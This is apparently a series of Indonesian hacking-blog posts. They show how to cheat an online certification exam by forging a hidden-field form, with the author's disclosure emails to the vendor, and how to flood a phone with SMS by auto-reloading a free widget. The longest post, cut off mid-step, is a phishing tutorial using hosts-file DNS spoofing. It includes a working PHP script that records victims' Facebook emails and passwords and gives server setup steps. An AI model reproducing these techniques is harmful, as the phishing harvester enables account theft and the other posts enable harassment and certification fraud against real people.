name="soal15" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci15" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal16" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci16" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal17" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci17" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal18" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci18" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal19" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci19" value="Amazon.com"><br> <input type="radio" checked="checked" name="soal20" value="Amazon.com">Amazon.com<br/> <input type="hidden" name="kunci20" value="Amazon.com"><br> <input type="submit" name="Submit" value="Kirim Jawaban"></body><html>

Langkah-langkah yang harus di kerjakan:
1. edit biodata anda (pasti tau kan mana yg harus di edit)
2. edit propinsi dan kota (lihat referensinya pada ujikeahlian.php)
3. edit jenis soal yang akan di ujikan (lihat referensi di ujikeahlian.php . Ingat nulisnya harus lengkap sesuai dengan referensi yg ada)
4. save dengan nama jasakom.php
5. buka file jasakom.php dengan browser lalu tekan OK

jika ingin ganti soal, maka silahkan edit pada bagian jenis soal yg tadi (mis: rubah "dasar internet" menjadi "SQL server 2005")

Akhir kata, sebetulnya bisa saja kita gunakan sedikit logika script php agar sekali tekan bisa 25 langsung terjawab tanpa mengulang2 lagi. Tapi menurutku inilah yang paling mudah di mengerti karena aq cuma memotong-motong script dari ujikeahlian2.php. Maklum artikel nya untuk newbie only sich.. Yang terpenting di sini kita tahu bahwa dengan adanya sifat stateless kita bisa merubah2 konten web nya asalkan informasi yang akan kita kirim adalah sama (yaitu pada form method="post")
klo males silahkan ke sini http://holestreet.0fees.net/bamboo.php

UPDATE: Maaf, untuk sekarang dan selamanya script pada url di atas telah saya hilangkan di karenakan pihak admin bamboomedia meminta untuk menghapus halaman tersebut.

WHY? karena setelah saya mencoba menemukan automisasi ini saya pun segera melaporkan pada pihak bamboomedia

berikut kronologi postingan ini

1. saya mendapat info mengenai situs bamboomedia dari NFI

link: http://nimbuzzing.org/forum/tips-and-tricks/sertifikasi-online-%28uji-kemampuan%29/

2. saya pun mencoba mengevaluasi kemampuan saya secara jujur, dan saya gagal

3. saya mencoba cara curang, dengan mengingat-ingat kembali konteks yang di katakan mas s'to@jasakom.com yaitu kata "stateless"

4. saya pun mencoba dan berhasil

isi email saya

Informasi yang masuk dari Hasil Uji Keahlian Brain-O-Meter :

Nama	:	Eko Satrio Pujiantoro
Alamat Kirim Referensi Keahlian	:	Jl. Wahidin Raya No.1 Gedung djuanda 1 Lt.11
Kota	:	JAKARTA
Propinsi	:	JAKARTA
Email	:	plonknimbuzz@gmail.com
Handphone	:	0857xxxxxxxxx
Pekerjaan	:	PNS Departemen Keuangan
Uji Kemampuan	:	Pintar Web (Dreamwever)
Hasil Tes (Skor )	:	100

=================================================

SERTFIKASI BRAINOMETER

Konsumen Bamboomedia yang terhormat,

Selamat! Anda sudah berhasil mengikuti Uji Keahlian (Brain-O-Meter) dengan nilai >= 80 sehingga Anda bisa mendapatkan Surat Referensi Keahlian.

Berikut ini kami kirimkan Surat Referensi Keahlian dalam Format PDF. Silahkan diperiksa apakah sudah sesuai nama dan modul ujian yang diikuti. Silahkan dicetak (print), semoga dapat melengkapi CV Anda dalam interview & mendapatkan pekerjaan yang Anda dambakan.

(Apabila Anda menginginkan dalam format cetak (hardcopy), yang langsung dikirimkan ke alamat Anda, silahkan reply email ini, harga administrasi per hardcopy Rp 50.000,-)

Terimakasih atas kepercayaan Anda pada Kami.

Regard
Charis
Technical Support Bamboomedia

5. saya menanyakan kapan pengiriman sertifikatnya

isi email saya

Mohon maaf, saya cuma mau menanyakan saja. Kapan saya dapat menerima sertifikat dalm bentuk PDF nya. Lalu saya juga ingin menanyakan apakah untuk mendapatkan sertifikat ini, saya perlu mengeluarkan biaya. Karena saya juga ingin menyebarluaskan website ini melalui blog pribadi saya. Demikian terima kasih.

6. pihak support bamboomedia pun menjawab melalui bapak charis

 isi  balasan dari bamboomedia

Yth
Terima kasih telah menggunakan ujian brainometer

1. Sertifikat dikirim maksimal 1*7 hari dari masa uji coba.
2. Apabila lebih dari 7 hari tidak diterima cek folder spam dan validasi aktif email anda.
3. Email yang tidak terkirim bisa di coba kembali dengan alamat email yang lain.
4. Kesalahan penulisan email tidak mendapatkan balasan, silahkan ulangi ujian anda kembali.
5. Template sertifikat bersifat paten dan tidak bisa dirubah, ditambah atau dikurangi kembali.
6. Uji coba dengan alamat email yang sama dengan nama berbeda , kami anggap flooding dan tidak mendapatkan balasan.

Terima kasih dengan atensinya

Regard
Charis

7. 4 hari kemudian saya pun menerima sertifikat saya

ini contoh screenshot salah satu sertifikat saya

8. karena berhasil, saya pun membuat  topik di jasakom mengenai hal ini. Dan alhamdulillah di pampang di  halaman muka :)

link: http://www.jasakom.com/content.php?357-Hacking-soal-soal-online

9. saya melaporkan kepada pihak support  bamboomedia mengenai hal ini

isi email saya

Kepada Yth admin /support bamboomedia

Selamat sore

Saya sangat senang sekali mendapatkan reply yang sangat cooperatif
dari pihak bamboomedia pada saat saya menanyakan kapan pengiriman
sertifikat dilakukan. Kini saya pun harus membalas jasa kepada
bamboomedia atas kerendahan hati nya dalam membalas setiap email yang
ada.

2-3 minggu yang lalu saya mendapatkan informasi mengenai bamboomedia
pada situs nimbuzzing.org . Lalu saya pun tertarik mengikutinya.
Hasilnya saya hanya bisa menjawab dasar internet dengan nilai 85, saya
pun mengulanginya lagi sampai mndpat nilai 100. Dan akhirnya saya pun
terpikirkan "bagaimana saya mendapatkan nilai 100 di setiap soal,
padahal tidak ada satupun yang saya tahu mengenai soal-soal yg selain
dasar internet"

Akhirnya saya pun melakukan analisa asal2an terhadap script soal
bamboomedia. Singkat nya Proof of concept nya begini:
1. Keaslian Sertifikat dipertanyakan
Ketika di print pixel nya tidak memuaskan, akan tetapi hal ini dapat
dimaklumi karena semakin besar pixel berarti semakin banyak pula
bandwitch yang harus di keluarkan. Padahal ini adalah sebuah layanan
gratis (kasarannya Gratis kok milih2 mas..)

tetapi yang saya bahas bukan itu, tetapi setidak nya ada nomornya.
Dari 9 sertifikat yang saya baca ternyata cuma berbeda judulnya saja.
Hack: editing dengan photoshop. Mungkin akan terdengar lucu. tapi
tentunya hal ini akan merugikan pihak bamboo secara tidak langsung
karena dapat saja saya mengklaim kepada perusahaan bahwa saya telah
berhasil lulus dari semua soal bamboomedia dengan nilai 100 secara
keseluruhan, bagaimana cara nya??
Saya tinggal mencopy paste email dari support bamboomedia yang
menyatakan bahwa saya lulus dengan nilai 100 untuk pelajaran ini..ini
dan ini dengan menggunakan anonymizer.name sebagai fasilitas untuk
spoofing nama email support@bamboomedia.net

Solusi: Dengan mencantumkan nomor kelulusan pada sertifikat yang ada ,
sehingga ketika di cek maka akan lebih bernilai formal daripada tanpa
nomor. Hal ini mungkin akan menarik teman2 yang lain untuk belajar
kepada bamboomedia. Maklum hanya bamboomedia saja yang saya lihat dari
google yang menawarkan sebuah terobosan insentif baru berupa
sertifikat gratis.

2. Countdown timer
Countdown timer di buat dengan javascript. Ini merupakan suatu
kelemahan tersendiri ketika mempercayakan segala sesuatunya kepada
customer 100% yaitu dengan javascript.

Hack: kita tinggal mendisable javascript pada browser saya. Lalu
berhentilah cuntdown timer nya. Selanjutnya saya tinggal googling
untuk mendapatkan jawabannya.
Solusi: Gunakan asp, krn server side. Contoh nya dapat di lihat pada
quiz w3schools.com yang menggunakan asp sehingga timer nya akan di
dasarkan pada jam server. bUkan jam client/browser

3. Stateless
Mungkin akan terdengar risih jika harus menggunakan statefull dengan
session/cookies. tpi hal ini mungkin akan lebih menarik dan lebih aman
jika kita menggunakan cookies sehingga pihak bamboomedia dapat
mengklaim bahwa terdapat 1000 orang lebih yang telah mendaftarkan diri
untuk mengikuti soal online di bamboomedia. Tentunya ini prestise
tersendiri bai pihak bamboomdia.

Solusi: jika ingin mengikuti soal online, peserta di haruskan
registrasi. Tai tentunya dengan ada nya system ini . Bamboomedia akan
memerlukan kemanan lebih terhadap database yang ada agar tidak ada
celah SQLi ato pun yang lain. Sehingga mungkin pihak bamboomedia bisa
mengacuhkan saran saya yang satu ini.

4. Script yang dapat di analisa dengan mudah
Sebelumnya saya sangat terkeut dengan hal ini. Singkat saja.
====alur soal================
Ujikeahlian >> isi info >> ujikeahlian2.php >> isi jawaban >>
ujikeahlian3.php >> ujikeahlian4.php >> result nilai
==========================

Pada ujikeahlian2.php ternyata menyimpan sebuah hidden form yang berisi:
A. info2 yang dimasukkan pada ujikeahlian.php
B. jam dan tanggal soal dijawab
C. jawaban beserta kunci jawabannya

CARA 1:
dengan ada nya hal ini saya pun dengan mudah menjawab semua soal-soalnya. yaitu:
1. Mengisi form ujikeahlian.php
2. klik "ikuti ujian"
3. ctrl+u untuk melihat source code, lalu
4. ctrl+f untuk menemukan value "kunci"

dan cuma butuh waktu 2 menit. maka peserta dapat menjawab dengan nilai 100

saya explorasi lagi dan hasilnya adalah CARA 2:
mencopy source page dan mengedit:
1. merubah input hidden yang berisi input dari ujikeahlian.php dan
tanggal mengikuti ujian
2. Menambahkan checked="checked" pada setiap jawaban yang benar
3. lalu merubah link nya menjadi absolute "bamboomedia.net/ujikeahlian3.php
4 Submit

lalu nilai pun 100

lalu saya explorasi lagi dan hasilnya CARA 3:
Bamboo: www.google.com adalah nama dari sebuah?
peserta: Matahari lbih besar daripada bulan
Result: Benar

Bamboo: berapakah nilai 1x3?
peserta: 2+2=4
Result: Benar

dan singkatnya dapat anda lihat di holestreet.0fees.net/bamboo.php

Solusi:
solusi ini tidak akan mencegah 100%,krn tidak ada system yg secure di
dunia ini, Tapi paling tidak kita bisa mengurangi beberapa peluang
terjadi nya tindak kecurangan lagi.

1. Mnggunkan chaptca seperti pada quiz microsoft
2. Menggunakan asp agar script nya tidak terbaca oleh client
3. Disable klik kanan
4. Soal di buat dengan metode seperti pop-up,yaitu agar peserta tidak
dapat menggunakan taskbar pada browser (sama seperti quiz windows
server 2003 di indonesia)

Akhir kata, saya tidak mempunyai maksud apa-apa dari isi email ini
selain sebagai pembelajaran bagi saya pribadi, dan pihak bamboomedia
juga. Karena cepat atau lambat hal ini pasti akan diketahui oleh orang
lain juga. Kalau untuk test gratis aja sih nggak terlalu masalah, tapi
takutnya jika pada suatu saat nanti ketika pihak bamboomedia di
percaya untuk mengadakan suatu quiz online dan pihak bamboomedia tetap
menggunakan system seperti ini, saya sangat takut jika ada seseorang
yang melakukan hal yang sama terhadap system penilaian ini.

terima kasih
regard
by plonk5638

maaf  mas kelupaan :D   untuk script acak2an yg ada di  holestreet.0fees.net/bamboo.php  .saya  siap menghapusnya jika pihak bamboomedia menginginkannya. Itung-itung  balas jasa terhadap sertifikat gratis "dasar internet" saya.   tentang sertifikat yang lain tidak akan saya gunakan karena itu   merupakan hasil curang saya. Saya cuma akan menyimpannya saja sebagai  kenang2an saja.   ini baru saya posting 2 hari yang lalu, itung2 buat pembelajaran bagi   para rekan2 yang lain juga. Saya juga siap menghapus nya jika di  minta. http://nimbuzzing.org/forum/webmaster/hacking-soal-soal-online/     Thanx mas ^_^/   

10. Tidak di sangka ternyata pihak bamboomedia sangat kooperatif  dengan hal ini.

isi email balasan dari bamboomedia

Yth   Terima kaasih atas kepercayaan anda kepada kami    1. Kami sangat senang dengan adanya masukan serta saran yang diberikan    2. Secara tehnis brainometer ini baru akan dievaluasi awal bulan pada  tahun ini, karena memang merupakan sampling awal dari modul web kami  yang baru dalam kategori soal-soal online    3. Kami akan segera mengadakan evaluasi, dan kami masih mengharapakan  masukan-masukan dan kritik lain yang pastinya sangat berguna untuk kami.    4. Jangan bosan untuk memberikan masukan kepada kami.    Terima kasih dengan atensinya dan kerjasamanya    Regard   Charis

isi email balasan kedua

Yth Bapak Echo

Terima kasih atas kepercayaan anda kepada kami

1. Evaluasi brainometer telah kami lakukan hari ini

2.  Mohon bantuannya untuk menghapus holestreet.0fees.net/bamboo.php

3.   Kami ucapkan terima kasih atas  bantuannya dan mohon apabila ada masukan lain jangan segan untuk disampaikan

Terima  kasih 

Regard
Charis

11.  saya pun menawarkan diri untuk menghapus url tersebut di karenakan bisa  merusak jerih payah pihak bamboomedia dalam mengurangi 'gaptek' di  negeri ini.

Yth. Bapak Charis   Alamat tersebut telah saya hapus. Terima kasih atas tanggapan yang     begitu melegakan dari pihak  bamboomdia.net   Regard      plonk
 

NB:  this article just 4 educational only, use at ur own risk.
referensi:  Buku Seni Internet Hacking by S'to

Thanx: orcha, meonkzt,  rexgant, eliash, p4njul, adwisatya, weinkhairu dan dopunk

Terima  kasih yang sangat saya ucapkan kepada Bapak charis atas perhatian dan  tindakan cooperatifnya.

salam,

Senin, 21 Juni 2010

flood sms dengan cara sederhana

author: darkslayer aka plonk5638 

date: 20 Juni 2010 , 20.00 WIB

Sudah lama tidak mengunjungi NFI, tp Saat mengunjungi forum NFI saya menemukan sebuah pertanyaan di sini yang sepertinya layak untuk di coba, petanyaan tersebut adalah:

Bagaimana cara melakukan flood sms?

Dulu saya sempat menanyakan hal yang sama dengan alasan ingin melakukan iseng2. Lalu dapat jawaban yaitu dengan menggunakan sms caster yang dapat anda download di sini 

Akan tetapi kerja sms caster adalah dengan menguras biaya sms kita, bukan dari GPRS yang kemungkinan akan jauh lebih murah. Jadi nya saya pun menghentikan cara tersebut, maklum karena saya adalah anak kost. Kiriman bulan ini aja belum di kirim sampai sekarang .. emaakkk kirim donk... T_T

Sekarang tak terasa waktu berlalu dan saya menemukan sebuah pertanyaan lama yang dulu pernah saya layangkan pada forum yang sama pula. Sempat berpikir sejenak mengenai solusi dari masalah ini. Akan tetapi saya ingat akan suatu tool yang bernama reload every yang pernah saya coba dulu pada artikel mail bomber di cruzenaldo.com

OK kali ini kita langsung ke topik pembahasan.

yang kita butuhkan dalam melakukan flood sms adalah:

1. sebuah PC, koneksi internet

2. browser mozilla firefox

3. add-on reload every yang bisa anda download di sini

4. Widget sms gratis. Kali ini saya menggunakan widget dari situs http://sms-online.web.id yang memungkinkan kita untuk mengirimkan sms secara gratis.

Sekarang download reload every dan restart firefox anda. Lalu buka notepad lalu save code berikut dengan nama sms.html

<html><table align="center"><tr><td><iframe name="I2" src="http://sms-online.web.id/widget"
width="270" height="350"> not support
</iframe></td></tr></table></html>

sekarang coba buka sms.html lalu isikan nomer HP anda, lalu isi sembarang, dan jawab kode capthca yang di minta untuk menguji apakah layanan widget ini masih berjalan atau tidak. Contoh:

Nah, yang saya kurang jelas, kenapa begitu di reload capthca nya nggak komplain?? tapi y udah, itu keuntungan buat kita. sekarang setelah anda melakukan kiriman sms. Jangan pindah dari halaman tersebut. 

Segera lakukan refresh browser anda dan anda akan menerima sms yang sama. 

Maka dari celah ini saya pun memilih menggunakan addons firefox yaitu reload every. Dari namanya pasti tau kan cara kerjanya??

Ok sekarang klik kanan lalu pilih reload every >> 5 second, lalu klik kanan lagi pilih reload every >> enabled

Maka dalam 5 detik sekali reload every akan mereload halaman tersebut sehingga target akan di kirimi flood sms 5 detik sekali.

simple way.

thanx to cruz3n

Kamis, 03 Juni 2010

implementasi phising dengan metode DNS Spoofing

author: darkslayer aka plonk5638

thanx to: cruz3n, like_beck, p4njul, potteraradclife, rexgant, jastis, meonkzt, dopunk, lim/widiasta_7, latanggoart

Sebelumnya saya mohon maaf jika penjelasan pada artikel ini kurang memuaskan dikarenakan kemampuan saya yang kurang.

Sebetulnya saya ingin membahas hal ini sejak 2 bulan lalu, akan tetapi dikarenakan kemampuan saya yang kurang ini, maka saya pun memutuskan untuk menundanya, dan mempelajarinya lebih dalam lagi. Tapi apa daya keinginan tidak selalu berbanding lurus dengan otak. Tapi berkat reply dari mas latanggoart, dan reply mas potter pada topik ini akhirnya saya pun memberanikan diri membahas topik ini.

Sekiranya jika ada kesalahan harap di beri masukan

=============

OK. Kali ini kita akan membahas implementasi phising dengan metode DNS spoofing. Yang merupakan salah satu teknik lama. Bagi anda yang belum pernah membuat phising, saya sarankan jangan membaca ini terlebih dahulu, karena di sini tidak akan membahas phising dari basic melainkan langsung ke topik permasalahan dari DNS spoofing.

Banyak orang yang berpendapat bahwa phising tidaklah begitu berbahaya selama kita mengetahui letak perbedaan urlnya. Entah anda mengirimkan dari fake email admin@facebook.com atau tidak itu tidak menjadi soal, karena hasilnya adalah kejelian mata kita dalam melihat url pada address box browser kita. Siapa sih yang mau masuk url seperti ini:

http://facebook.hostse.com

http://fazebuk.com

http://facebooklogin.com

htpp://h1.ripway.com/facebook

tentu saja cuma orang awam saja bukan??

akan tetapi siapa yang mengira ketika dia mengetikkan alamat www.facebook.com tetapi ternyata dia memasuki situs yang salah. Karena walaupun address nya benar, tapi tampilannya adalah tampilan web phising kita??

yang mau mengecek terlebih dahulu source code dan IP dari suatu situs itu tentu hanya dilakukan oleh beberapa orang saja. Karena url yang akan kita sebarkan adalah tetap menjadi www.facebook.com , bukan url-url aneh seperti di atas tadi,jadi peluang kita untuk mendapatkan account facebook target menjadi lebih besar.

Sebelumnya mas potter telah membahas mengenai teknik DNS ini pada topik http://www.jasakom.com/showthread.php?27897-Hack-FB-(or-anything)-Clear-amp-Easy-For-Newbie, akan tetapi teknik phising melalui DNS spoofing ini masih bersifat local, yaitu kita harus melakukan konfigurasi pada komputer yang akan di akses oleh korban. btw, Saya sangat salut sekali dengan mas potter yang harus menjelaskan tutorial phisingnya dengan sendirian, demi membagi2 ilmu kepada teman-teman yang belum mengetahuinya. ;)

Perbedaan topik yang dijelaskan mas potter dengan topik yang akan saya bahas ini hanya terletak pada jaraknya saja, jika pada topik mas potter diharuskan mengakses fisik PC, maka pada topik ini akan saya jelaskan teknik phising tanpa mengakses komputer korban.

Sebelum kita berlanjut ke topik utama, sebaiknya kita harus mengetahui hal ini terlebih dahulu. Karena inilah yang menjadi hal utama kebehasilan implementasi teknik ini. hal ini adalah masalah tentang IP kita.

Saya mencoba beberapa alamat IP yang dihasilkan oleh modem berikut ini:

smart, XL modem, IM2, blackberry yang digunakan sebagai modem, Dial-up IM3, speedy, fastnet, fren, wifi, dan LAN.

Hasilnya ketika saya ujicoba ternyata memberikan pertanyaan yang sangat membingungkan, karena cuma IP dari modem IM2 saja yang dapat di ping dari luar jaringan. Kalau tidak percaya coba liat IP anda, lalu suruh teman anda untuk melakukan ping. Maka IP dari semua modem di atas selain IM2 akan bernilai RTO (request time out).

Penjelasan yang saya ketahui: (kemampuan penulis terbatas)

pada modem yang saya sebutkan di atas selain IM2, IP address kita berbeda dengan IP gateway. Sedangkan pada IM2 IP address sama dengan IP gateway. Anda pasti tahukan sedikit mengenai jaringan??

contoh: pada LAN

PC kita - switch - PC server - internet - facebook
PC kita: ip address = 10.100.164.2 , IP gateway = 10.100.164.1
PC server: IP internal = 10.100.164.1 , ip eksternal = 210.10.10.10

jika kita melakukan ping kepada facebook.com (220.20.20.20), maka jalurnya adalah:

PC kita : mas switch ip saya adalah 10.100.164.2 tolong donk terusin pesan saya ke komputer server yang beralamat di 10.100.164.1, saya mau melakukan ping ke server facebook nich.

switch: OK mas, saya teruskan

switch: mas server, komputer dengan ip 10.100.164.2 mau melakukan ping ke server facebook, tolong teruskan

PC server: OK, saya teruskan.

PC server: pakdhe, ente punya alamat ip hostname facebook kagak?

file HOSTS pada PC server: waduh bos,, maafin, sejak lu install gw, elu kagak pernah ngasih ane informasi apa-apa selain localhost doank

PC server: oh ya, sory bro, y udah gw nanya ke DNS server aja dech

PC server: kak, tau IP dari hostname facebook g?

DNS server: iya, ini saya punya. Alamat IP nya adalah 220.20.20.20. Tolong di ingat di cache ya, biar adik nggak nanya ke kakak lagi. nanti klo waktunya habis silahkan hubungi kakak lagi. Soalnya kakak pusing banget nich klo semua PC minta alamat IP ke kakak terus

PC server: OK ,thanx

PC server: hoe, komputer dengan alamat IP 220.20.20.20 , gw mau ngePING nich, boleh nggak? (pada proses ini, semua komputer tidak mengetahui apakah alamat ip yang di berikan oleh DNS server adalah benar-benar alamat ip facebook atau bukan. Yang di ketahui oleh setiap PC adalah DNS server selalu memberikan informasi yang benar, jadi kasarannya akan langsung percaya)

server facebook: iya boleh, nich balesannya ping anda

PC server: thanx

Komputer server: nich, ada balasan dari komputer dengan IP 220.20.20.20 yang katanya server DNS hostnamenya facebook.com, tolong terusin ke ip 10.100.164.2 ya? soalnya saya ingat bahwa tadi ada pesanan dari alamat ip itu untuk melakukan ping ke facebook

switch: OK

switch: OK, thanx udah menunggu, nich balesan dari ping lu tadi

PC kita: iya mas, terima kasih

maaf kepanjangan, tapi klo nggak gitu nggak akan jelas sampe pembahasan akhir :(

Keterangan:

PC kita akan mengenali alamat IP dari server facebook.com dari informasi yang di dapat oleh komputer server. Akan tetapi facebook tidak mengetahui bahwa ping yang telah dia dapatkan tadi berasal dari komputer anda (10.100.164.2), yang di ketahui oleh server facebook adalah bahwa dia telah mendapatkan ping dari komputer yang mempunyai IP 210.10.10.10 (IP eksternal PC server) bukan 10.100.164.1 (IP internal PC server).

Secara singkat beberapa ISP yang saya sebutkan di atas tadi selain IM2 adalah menggunakan sistem sama seperti pada LAN ini agar mempermudah pengawasan security. Sedangkan pada IM2 anda diberikan hak seperti layaknya komputer server tadi.

Jadi bagi teman2 yang menggunakan komputer smart jangan berbangga dulu jika dengan harga murah, kecepatan download anda pada server indowebster bisa mencapai 100kbps (dgn IDM), sedangkan pada IM2 hanya bisa mencapai 40kbps (dgn IDM). Karena dengan sistem seperti ini pelanggan smart bagaikan menaiki sebuah bus. Bila penumpang sepi, maka anda secara leluasa bebas duduk dimana saja, mau tidur2an di 3 kursi sekaliguspun tidak masalah. Akan tetapi jika para pengguna internet sudah banyak yang menggunakan smart, maka jangan kaget kalau anda harus rela berdiri sampai ke tujuan. Apalagi ditambah anda di berikan beberapa batasan-batasan, misalnya di larang merokok di bus (kendaraan public). Berbeda dengan pengguna IM2, disini saya ibaratkan sebagai penumpang taxi, tidak ada yang boleh menaiki taksi tersebut selama penumpang tidak membolehkannya. Dan anda pun bebas merokok. tapi biayanya mahal (kendaraan private)

Begitupun soal ping yang saya ceritakan di atas. bagi pengguna modem yang saya sebutkan selain im2 di atas tadi, server facebook / komputer di luar jaringan tidak akan mengetahui alamat dari IP anda tetapi hanya mengetahui alamat dari IP server anda. Itulah sebabnya mengapa notifikasi server trojan anda tidak bisa menghubungi client trojan yang ada di PC anda jika anda mengguakan IP public. Untuk IM2, sebaliknya, layaknya komputer server, dia dan server facebook akan saling mengenal IP addressnya satu sama lain. Sehingga akses langsung dapat dimungkinkan terjadi. Dan hal ini lah yang menjadi syarat penting dalam mempraktekkan topic berikut ini . . ayooo semangattt.. ini masih pengantarnya aja. . (^-^)

contoh ip smart:

ip address: 10.101.20.57

subnet mask: 255.255.255.0

default gateway: 10.101.20.1

contoh ip IM2

ip address: 114.13.100.176

subnet mask: 255.255.255.0

default gateway: 114.13.100.176

NOTE:
1. maaf, saya bukan sales IM2, ato suka memakai IM2, karena saya tidak mengetahui modem mana saja yang memberikan private IP seperti IM2. Apalagi saya sangat tidak suka sekali dengan peraturan bandwitch di IM2 sendiri.

2. terima kasih buat rexgant, karena atas jawaban singkat nya saya bisa memberi sedikit penjelasan sebagai kata pengantar topic ini

padahal cm 1x nanya ngasal,tp gambaran dari jawabannya sangat cemerlang.thanx bang (^-^)

plonk: mengapa ip modem2 di atas ada yang tidak bisa di ping dan ada yang bisa?
rexgant: hal itu karena memang oleh server/ISP nya IP nya di set tidak bisa di ping.

OK, lebih singkatnya silahkan kunjungi situs http://just-ping.com dan masukkan alamat IP anda. Situs ini akan melakukan ping dari berbagai negara.

contoh: alamat ip saya saat ini dengan modem IM2 114.58.56.177

Singkatnya jika alamat IP anda ternyata tidak bisa di ping dari luar jaringan, maka mohon maaf sekali jika anda hanya bisa membaca artikel ini tanpa bisa praktek :(

Maka itulah kenapa saya tetap menggunakan IM2 meskipun terdapat quota, bandwitch sedang, dan berbagai aturan penggunaan IM2 yang menyebalkan. Hal ini karena saya bisa langsung melakukan online scanning, agar saya bisa melakukan koneksi ke server trojan saya, dll dech, karena kalau di sebutkan mungkin kita akan lari dari pembahasan.

Bagi yang tidak bisa di ping jangan terlalu bersedih hati, karena jika target anda masih berada dalam 1 jaringan (wifi / LAN) maka anda masih bisa mempraktekkan hal ini ,tetapi cuma dalam batasan pada jaringan itu sendiri ya.

NOTE: kalau masih pengen praktek iseng-isengan, bisa juga dilakukan dengan virtual komputer dengan bantuan vmware / virtualbox

Dan satu hal lagi yang harus kita bahas terlebih dahulu adalah korban harus menggunakan OS windows, karena dalam tulisan ini kita akan melakukan DNS spoofing dengan melakukan file hosts poisoning.

Maaf kepanjangan, tapi lebih baik saya jelaskan terlebih dahulu daripada anda merasa sia-sia membaca sampai akhir kalimat saya :(

nutrisi

apa itu DNS (domain name server)??

system yang digunakan untuk mentranslate hostname suatu komputer menjadi alamat IP. (sumber: ngarang2 sendiri). Hal ini sangat dibutuhkan dikarenakan komputer tidak dapat mengetahui lokasi suatu komputer berdasarkan hostname, akan tetapi hanya mengetahuinya lewat IP dari komputer tujuan saja.

apa itu server DNS??

komputer server yang dijadikan sebagai acuan untuk menanyakan alamat IP dari suatu hostname. Singkatnya biar nggak nyasar atau nggak kesulitan mencari lokasi perlu adanya petugas lalu lintas nya juga.

apa itu cache DNS?

suatu data yang menyimpan informasi dari DNS server mengenai alamat IP dari suatu hostname untuk sementara waktu. Hal ini perlu agar semua komputer yang menanyakan IP suatu hostname ke server DNS tidak perlu berulangkali melakukan pertanyaan yang sama. Bayangkan saja jika semua komputer menanyakan hal yang sama secara terus menerus, dapat di bayangkan betapa sibuknya server DNS itu sendiri. Untuk melihat cache DNS ini kita dapat melihatnya dengan melakukan perintah ipconfig /displaydns

C:\Documents and Settings\thunder>ipconfig /displaydns

Windows IP Configuration

www.facebook.com

----------------------------------------

Record Name . . . . . : www.facebook.com

Record Type . . . . . : 1

Time To Live . . . . : 5756

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) Record . . . : 220.20.20.20

localhost

----------------------------------------

Record Name . . . . . : localhost

Record Type . . . . . : 1

Time To Live . . . . : 592543

Data Length . . . . . : 4

Section . . . . . . . : Answer

A (Host) Record . . . : 127.0.0.1
Dari situ dapat dilihat jika cache DNS dari hostname www.facebook.com di simpan sampai 5756 detik kemudian. Jika TTL habis, maka komputer kita akan menanyakan lagi ke server DNS.

Apa itu file HOSTS??

file sebagai tempat untuk menyimpan informasi mengenai DNS dari suatu hostname. Sebelum komputer kita (OS windows) menanyakan alamat IP dari facebook kepada server DNS, maka komputer kita akan menanyakan kepada file hosts apakah dia mempunyai informasi mengenai alamat IP dari hostname facebook atau tidak. Jika tidak maka komputer kita akan menanyakan lebih lanjut ke server DNS. file hosts ini dapat kita temukan di directory c:\windows\system32\drivers\etc. Anda bisa dengan mudah mengeditnya dengan notepad untuk menambahkan informasi mengenai DNS ini.

Apa itu DNS spoofing?

suatu teknik hacking yang dilakukan dengan cara memberikan informasi yang salah kepada komputer korban mengenai IP dari suatu hostname yang diminta oleh korban. Ingat bahwa semua komputer mempercayai semua informasi yang di berikan oleh server DNS dan file hosts (pada windows). Dan ini adalah kesalahan fatal, karena jika hacker dapat menguasai server DNS ataupun file hosts anda, maka hacker bisa dengan mudah menipu anda dengan memberikan alamat yang salah dan selanjutnya dapat ditebak sendiri apa akibatnya. Dan inilah metode yang akan kita gunakan dalam mengimplementasikan phising kita. lebih lanjut silahkan baca di postingan saya yang lain di http://www.jasakom.com/showthread.php?28050-Tolong-Ajarin-Bikin-Fake-Login

Bagaimana cara melakukan DNS spoofing?

1. mengowned server DNS (tentunya susah, saya nggak bisa)

2. mengedit file hosts (ini yang akan kita bahas)

3. menggunakan sniffer seperti cain abel (hanya bisa di lakukan di jaringan)

Ok langsung saja kita ke praktek, yaitu melakukan DNS spoofing dengan mengedit file hosts

PRAKTEK

OK, kita lanjut lagi, bahan yang di butuhkan:
1. Install aplikasi yang membuat PC kita menjadi server, dalam tulisan ini saya menggunakan XAMPP. Silahkan download kalau belum punya.
Jika sudah mari kita install, setelah instalasi selesai. Segera akses ke folder c:\xampp\htdocs . maka di situ akan ada beberapa file. File-file ini harus kita bersihkan terlebih dahulu karena keberadaaan file ini nanti nya akan mengganggu acara kita. OK, buat folder apa saja di c:\xampp\htdocs lalu taruh semua file-file tadi pada folder yang barusan anda buat (jika anda baru pertama kali menginstall xampp, maka file-file yang berada pada c:\xampp\htdocs adalah folder xampp ,index.html ,dan index.php)

2. kita siapkan script phising dan log filenya
Karena di sini saya anggap sudah pernah mempelajari phising maka tidak akan saya jelaskan.
buat file dengan nama hasil.txt
Pada mesin windows, anda tidak perlu lagi melakukan setting permission, karena secara default script file txt tadi tidak berattribut r (read-only).
dan untuk script php nya saya menggunakan ini. saya beri nama login.php

header("Location:http://www.facebook.com");

$file = "hasil.txt";

$username = $_POST['email'];

$password = $_POST['pass'];

$handle = fopen($file, 'a');

fwrite($handle, "++++++");

fwrite($handle, "\n");

fwrite($handle, "Email: ");

fwrite($handle, "$username");

fwrite($handle, "\n");

fwrite($handle, "Password: ");

fwrite($handle, "$password");

fwrite($handle, "\n");

fwrite($handle, "++++++");

fwrite($handle, "\n");

fclose($handle);

exit;

taruh hasil.txt dan login.php pada directory c:\xampp\htdocs

3. kita siapkan index.php
copy paste halaman utama facebook, lalu save dengan nama index.php lalu simpan pada directory c:\xampp\htdocs.
Selanjutnya edit file index.html tadi, dan ubah beberapa bagian berikut:
a. pastikan bahwa tampilannya sama dengan situs facebook yang sesungguhnya, jika berbeda silahkan mengedit sampai sama
